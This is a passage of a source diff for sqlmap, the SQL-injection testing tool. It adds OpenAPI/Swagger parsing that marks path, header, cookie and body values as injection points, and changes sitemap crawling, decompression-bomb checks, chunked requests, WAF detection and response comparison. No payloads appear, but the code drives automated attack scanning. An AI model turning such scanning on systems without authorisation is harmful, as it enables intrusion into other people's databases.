re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators) + +def _urlSafe(value, safe=""): + # percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&', + # '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps + # selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]). + try: + return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe) + except Exception: + return value + +def _baseUrl(spec, origin=None, servers=None): + # defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation + # try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level + # 'servers' (used for per-path / per-operation 'servers'). + basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed + basePath = "/" + basePath + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + default = meta.get("default", "1") if isinstance(meta, dict) else "1" + url = url.replace("{%s}" % name, str(default)) + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin) + return url.rstrip('/') + return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin + if spec.get("host"): # Swagger v2 with an explicit host + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/')) + return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin + +_METHODS = ("get", "post", "put", "delete", "patch", "options", "head") + +def openApiTargets(content, origin=None, tags=None): + """ + Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger + specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' + (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' + entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry + the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction + to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API). + """ + + tagSet = set(tags) if tags else None + + spec = _loadSpec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" + raise ValueError(errMsg) + + try: + rootBase = _baseUrl(spec, origin) + except Exception: # never let base-URL synthesis abort the whole run + rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else "" + isV2 = "swagger" in spec and "openapi" not in spec + retVal = [] + cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas) + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) # a Path Item object may itself be a $ref + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation + for method, operation in item.items(): + if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) + continue + if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue # '--openapi-tags' filter: operation carries none of the requested tags + try: + # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root + opServers = operation.get("servers") or item.get("servers") + base = rootBase + if opServers: + try: + base = _baseUrl(spec, origin, opServers) + except Exception: + base = rootBase + + # merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + urlPath = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5) + name = str(name) + explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis + if explicit is not _NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # mark the filled path segment as a (custom) URI injection point - path parameters are + # prime REST injection targets; the value is encoded first so its own chars add no mark + urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR) + elif location == "query": + # best-effort: array/object query params are scalarized (single value), NOT expanded per + # OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal + # is one testable request per operation, not faithful serialization + query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + elif location == "header": + # append the custom injection mark so the header value becomes a testable (custom) + # injection point (non-exclusive: query/body params are still auto-tested); skip names + # that are not valid HTTP field-name tokens + headerName = _headerClean(name) + if headerName and _HEADER_NAME_RE.match(headerName): + headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR))) + elif location == "cookie": + # a cookie name is a token; the value must not contain cookie-structure chars ('; ,' + # and whitespace) or a spec could smuggle extra cookie pairs + cookieName = _headerClean(name) + if cookieName and _HEADER_NAME_RE.match(cookieName): + cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value))) + cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR)) + elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field + form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + + if cookies: # aggregate all cookie params into a single Cookie header + headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies))) + + urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded) + if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets) + urlPath = "/" + urlPath + + url = base + urlPath + if query: + url += "?" + "&".join(query) + + url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1" + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL + logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + content_ = body.get("content") if isinstance(body, dict) else None + if isinstance(content_, dict) and content_: + mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings + picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \ + or (mediaTypes[0] if mediaTypes else None) + if picked: + mediaType = content_[picked] if isinstance(content_[picked], dict) else {} + example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis + if example is _NO_EXAMPLE: + example = _example(spec, mediaType.get("schema") or {}, cache=cache) + if "json" in picked: + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items()) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # raw (text / xml / ...) body -> mark it so the whole body becomes a testable point + data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR + headers.append((HTTP_HEADER.CONTENT_TYPE, picked)) + else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization) + logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path)) + elif isinstance(operation.get("parameters"), list) or isV2: + for param in params: # Swagger v2 in:"body" + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + + if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body + data = "&".join(form) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + retVal.append((url, str(method).upper(), data, headers or None)) + except Exception as ex: + logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex))) + + return retVal diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 591abbfb7e0..24ee83e1a6d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -44,7 +44,7 @@ def parseXmlNode(node): for element in node.findall("boundary"): boundary = AttribDict() - for child in element: + for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -56,18 +56,19 @@ def parseXmlNode(node): for element in node.findall("test"): test = AttribDict() - for child in element: + for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.findall("*")) == 0: + progeny = child.findall("*") + if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child: + for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index db2f0901e9e..882c86b2013 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import readInput +from lib.core.convert import htmlUnescape from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet @@ -17,7 +18,7 @@ abortedFlag = None -def parseSitemap(url, retVal=None): +def parseSitemap(url, retVal=None, visited=None): global abortedFlag if retVal is not None: @@ -27,6 +28,12 @@ def parseSitemap(url, retVal=None): if retVal is None: abortedFlag = False retVal = OrderedSet() + visited = set() + + if url in visited: + return retVal + + visited.add(url) try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" @@ -34,18 +41,28 @@ def parseSitemap(url, retVal=None): errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) - for match in re.finditer(r"\s*([^<]+)", content or ""): - if abortedFlag: - break - url = match.group(1).strip() - if url.endswith(".xml") and "sitemap" in url.lower(): - if kb.followSitemapRecursion is None: - message = "sitemap recursion detected. Do you want to follow? [y/N] " - kb.followSitemapRecursion = readInput(message, default='N', boolean=True) - if kb.followSitemapRecursion: - parseSitemap(url, retVal) - else: - retVal.add(url) + if content: + content = re.sub(r"", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out entries aren't harvested + + for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): + if abortedFlag: + break + + foundUrl = htmlUnescape(match.group(1).strip()) + + # Basic validation to avoid junk + if not foundUrl.startswith("http"): + continue + + if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) + + if kb.followSitemapRecursion: + parseSitemap(foundUrl, retVal, visited) + else: + retVal.add(foundUrl) except KeyboardInterrupt: abortedFlag = True diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index c00fd0df6ca..5cddbd98338 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,7 +10,6 @@ import io import logging import re -import struct import zlib from lib.core.common import Backend @@ -44,7 +43,8 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD -from lib.core.settings import IDENTYWAF_PARSE_LIMIT +from lib.core.settings import IDENTYWAF_PARSE_COUNT_LIMIT +from lib.core.settings import IDENTYWAF_PARSE_PAGE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT @@ -57,7 +57,7 @@ from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client @@ -235,13 +235,13 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding) - except: + except LookupError: encoding = None if encoding: try: six.text_type(getBytes(randomStr()), encoding) - except: + except (UnicodeDecodeError, LookupError): if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) @@ -249,6 +249,7 @@ def checkCharEncoding(encoding, warn=True): return encoding +@lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics @@ -257,11 +258,15 @@ def getHeuristicCharEncoding(page): >>> getHeuristicCharEncoding(b"") 'ascii' + >>> getHeuristicCharEncoding(b'\\xd2\\xe5\\xf1\\xf2\\xc2 \\xf1\\xee\\xee\\xf2\\xe2\\xe5\\xf2\\xf1\\xf2\\xe2\\xe8\\xe8 \\xf1 \\xef\\xf0\\xe8\\xed\\xf6\\xe8\\xef\\xe0\\xec\\xe8 \\xf0\\xe0\\xe1\\xee\\xf2\\xfb \\xf3\\xf2\\xe8\\xeb\\xe8\\xf2\\xfb \\xe0\\xe2\\xf2\\xee\\xec\\xe0\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xee\\xe3\\xee \\xee\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xff \\xea\\xee\\xe4\\xe8\\xf0\\xee\\xe2\\xea\\xe8, \\xed\\xe0\\xec \\xf2\\xf0\\xe5\\xe1\\xf3\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe5\\xe4\\xee\\xf1\\xf2\\xe0\\xe2\\xe8\\xf2\\xfc \\xe7\\xed\\xe0\\xf7\\xe8\\xf2\\xe5\\xeb\\xfc\\xed\\xee \\xe1\\xee\\xeb\\xe5\\xe5 \\xe4\\xeb\\xe8\\xed\\xed\\xfb\\xe9 \\xf4\\xf0\\xe0\\xe3\\xec\\xe5\\xed\\xf2 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xed\\xe0 \\xf0\\xf3\\xf1\\xf1\\xea\\xee\\xec \\xff\\xe7\\xfb\\xea\\xe5. \\xdd\\xf2\\xee \\xed\\xe5\\xee\\xb1\\xf5\\xee\\xe4\\xe8\\xec\\xee \\xe4\\xeb\\xff \\xf2\\xee\\xe3\\xee, \\xf7\\xf2\\xee\\xf1\\xfb \\xf1\\xf2\\xe0\\xf2\\xe8\\xf1\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8\\xe9 \\xe0\\xed\\xe0\\xeb\\xe8\\xe7\\xe0\\xf2\\xee\\xf0 \\xf7\\xe0\\xf1\\xf2\\xee\\xf2\\xed\\xee\\xf1\\xf2\\xe8 \\xf1\\xe8\\xec\\xe2\\xee\\xeb\\xee\\xe2 \\xe8 \\xe4\\xe2\\xf3\\xf5\\xe1\\xf3\\xea\\xe2\\xe5\\xed\\xed\\xfb\\xf5 \\xf1\\xee\\xf7\\xe5\\xf2\\xe0\\xed\\xe8\\xb9 \\xf1\\xec\\xee\\xe3 \\xf1 \\xe2\\xfb\\xf1\\xee\\xea\\xee\\xb9 \\xf1\\xf2\\xe5\\xef\\xe5\\xed\\xfc\\xf2 \\xf3\\xe2\\xe5\\xf0\\xe5\\xed\\xed\\xee\\xf1\\xf2\\xe8 \\xe7\\xe0\\xf4\\xe8\\xea\\xf1\\xe8\\xf0\\xee\\xe2\\xe0\\xf2\\xfc \\xe8\\xec\\xe5\\xed\\xed\\xee \\xf1\\xf2\\xe0\\xed\\xe4\\xe0\\xf0\\xf2 Windows-1251, \\xe0 \\xed\\xe5 MacCyrillic \\xe8\\xeb\\xe8 ISO-8859-5. \\xd0\\xf3\\xf1\\xf1\\xea\\xe8\\xb9 \\xff\\xe7\\xfb\\xea \\xee\\xe1\\xbb\\xe0\\xe4\\xe0\\xe5\\xf2 \\xf3\\xed\\xe8\\xea\\xe0\\xeb\\xfc\\xed\\xfb\\xec \\xf0\\xe0\\xf1\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xe5\\xec \\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe8 \\xf1\\xee\\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe1\\xf3\\xea\\xe2, \\xf2\\xe0\\xea\\xe8\\xf5 \\xea\\xe0\\xea \\xee, \\xe5, \\xe0, \\xe8, \\xed, \\xf2, \\xea\\xee\\xf2\\xee\\xf0\\xfb\\xe5 \\xe2 \\xf0\\xe0\\xe7\\xed\\xfb\\xf5 \\xea\\xee\\xe4\\xee\\xe2\\xfb\\xf5 \\xf1\\xf2\\xf0\\xe0\\xed\\xe8\\xf6\\xe0\\xf5 \\xe7\\xe0\\xed\\xe8\\xec\\xe0\\xf3\\xf2 \\xf1\\xee\\xe2\\xe5\\xf0\\xf8\\xe5\\xed\\xed\\xee \\xf0\\xe0\\xe7\\xed\\xfb\\xe5 \\xef\\xee\\xf7\\xe8\\xf6\\xe8\\xe8 \\xe2 \\xf2\\xe0\\xe1\\xeb\\xe8\\xf6\\xe5 \\xe1\\xe0\\xb9\\xf2\\xee\\xe2. \\xca\\xee\\xe3\\xe4\\xe0 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xf1\\xf2\\xe0\\xed\\xee\\xe2\\xe8\\xf2\\xf1\\xff \\xe4\\xee\\xf1\\xf2\\xe0\\xf2\\xee\\xf7\\xed\\xee \\xec\\xed\\xee\\xe3\\xee, \\xe2\\xe5\\xf0\\xee\\xff\\xf2\\xed\\xee\\xf1\\xf2\\xfc \\xee\\xf8\\xe8\\xe1\\xea\\xe8 \\xf1\\xed\\xe8\\xe6\\xe0\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe0\\xea\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8 \\xe4\\xee \\xed\\xf3\\xeb\\xff. \\xcc\\xfb \\xe4\\xee\\xe1\\xe0\\xe2\\xeb\\xff\\xe5\\xec \\xe5\\xf9\\xe5 \\xed\\xe5\\xf1\\xea\\xee\\xeb\\xfc\\xea\\xee \\xef\\xf0\\xe5\\xe4\\xeb\\xee\\xe6\\xe5\\xed\\xe8\\xb9, \\xf7\\xf2\\xee\\xf1\\xfb \\xf0\\xe0\\xf1\\xf8\\xe8\\xf0\\xe8\\xf2\\xfc \\xe2\\xfb\\xe1\\xee\\xf0\\xea\\xf3 \\xe4\\xe0\\xed\\xed\\xfb\\xf5 \\xe4\\xeb\\xff \\xea\\xee\\xf0\\xf0\\xe5\\xea\\xf2\\xed\\xee\\xe3\\xee \\xf2\\xe5\\xf1\\xf2\\xe8\\xf0\\xee\\xe2\\xe0\\xed\\xe8\\xff \\xe2\\xe0\\xf8\\xe5\\xb9 \\xe1\\xe8\\xe1\\xeb\\xe8\\xee\\xf2\\xe5\\xea\\xe8 \\xe2 \\xf1\\xf0\\xe5\\xe4\\xe5 Python.') + 'windows-1251' """ - key = hash(page) - retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] - kb.cache.encoding[key] = retVal + key = (len(page), hash(page)) + retVal = kb.cache.encoding.get(key) + if retVal is None: + retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] + kb.cache.encoding[key] = retVal if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal @@ -277,20 +282,17 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): 'foo&bar' >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) '\\t' + >>> getText(decodePage(b"J", None, "text/html; charset=utf-8")) + 'J' + >>> decodePage(b"™", None, "text/html; charset=utf-8") == u"\u2122" + True """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if hasattr(contentEncoding, "lower"): - contentEncoding = contentEncoding.lower() - else: - contentEncoding = "" - - if hasattr(contentType, "lower"): - contentType = contentType.lower() - else: - contentType = "" + contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" + contentType = getText(contentType).lower() if contentType else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: @@ -298,14 +300,21 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): try: if contentEncoding == "deflate": - data = io.BytesIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations + obj = zlib.decompressobj(-15) + page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) + + # catch the deflate bomb before flush() forcefully expands it into RAM + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + + page += obj.flush() + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) - size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: + page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") - - page = data.read() except Exception as ex: if b"= U+0100; smaller ones already handled at byte-level) + def _(match): + retVal = match.group(0) + try: + retVal = _unichr(int(match.group(1), 16)) + except (ValueError, OverflowError): + pass + return retVal + page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page) + # e.g. ζ page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) else: @@ -382,7 +400,6 @@ def _(match): def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 - page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) @@ -398,17 +415,20 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) with kb.locks.identYwaf: identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in set(identYwaf.non_blind): - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + try: + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + except Exception as ex: + singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index f7c8408d82e..878e5a8a54b 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index b27599329b4..4fface114ac 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler): Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ + # Note: run after urllib's own request munging so that a Content-Length it may have added (the + # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked' + handler_order = _urllib.request.HTTPHandler.handler_order + 1 + def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: @@ -23,7 +27,11 @@ def _http_request(self, request): data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") - if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked' + for store in (request.headers, request.unredirected_hdrs): + for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]: + del store[name] + elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH): request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host @@ -38,4 +46,4 @@ def _http_request(self, request): request.add_unredirected_header(name, value) return request - http_request = _http_request + http_request = https_request = _http_request diff --git a/lib/request/comparison.py b/lib/request/comparison.py index c703b2bb986..30beafabc70 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,7 +10,9 @@ import re from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import getFilteredPageContent +from lib.core.common import jsonMinimize from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import getLastRequestHTTPError @@ -20,6 +22,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE @@ -34,7 +37,32 @@ from lib.core.threads import getCurrentThreadData from thirdparty import six +def _isJsonResponse(headers): + """ + Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical + 'application/json', the common misservings ('text/json', 'application/javascript', ...), or a + structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns + None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the + normal text comparison. + """ + + retVal = False + + if headers: + contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() + retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json") + + return retVal + def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): + if not isinstance(page, (six.text_type, six.binary_type, type(None))): + logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) + + try: + page = b"".join(page) + except: + page = six.text_type(page) + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ @@ -89,6 +117,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) + # raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below; + # parsing the raw form avoids removeDynamicContent splicing JSON mid-token + rawPage = page + if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: @@ -98,7 +130,16 @@ def _comparison(page, headers, code, getRatioValue, pageLength): # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) - seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) + if threadData.lastPageTemplate != kb.pageTemplate: + 